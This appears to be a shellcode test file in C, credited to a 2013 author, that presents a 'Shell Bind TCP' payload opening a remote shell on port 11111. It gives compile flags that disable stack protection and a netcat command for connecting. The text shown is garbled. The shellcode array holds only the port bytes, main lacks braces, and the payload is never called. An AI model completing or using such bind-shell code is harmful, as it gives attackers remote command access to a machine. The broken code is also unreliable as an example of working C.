Shell Bind TCP Shellcode - C Language

 Written in 2013 by Geyslan G. Bem, Hacking bits

 [email protected]

 This source is licensed under the Creative Commons
 Attribution-ShareAlike 3.0 Brazil License.

 To view a copy of this license, visit


 You are free:

    to Share - to copy, distribute and transmit the work
    to Remix - to adapt the work
    to make commercial use of the work

 Under the following conditions:
   Attribution - You must attribute the work in the manner
                 specified by the author or licensor (but
                 not in any way that suggests that they
                 endorse you or your use of the work).

   Share Alike - If you alter, transform, or build upon
                 this work, you may distribute the
                 resulting work only under the same or
                 similar license to this one.


 * 103 bytes
 * null-bytes free
 * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT)
 * the port number is easily changeable (3th and 4th bytes of the shellcode)

 # gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
 # ./shellcode

 # nc 11111


#include <stdio.h>
#include <string.h>

unsigned char code[] = \

"\x2b\x67" /* <- Port number 11111 (2 bytes) */

main ()

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;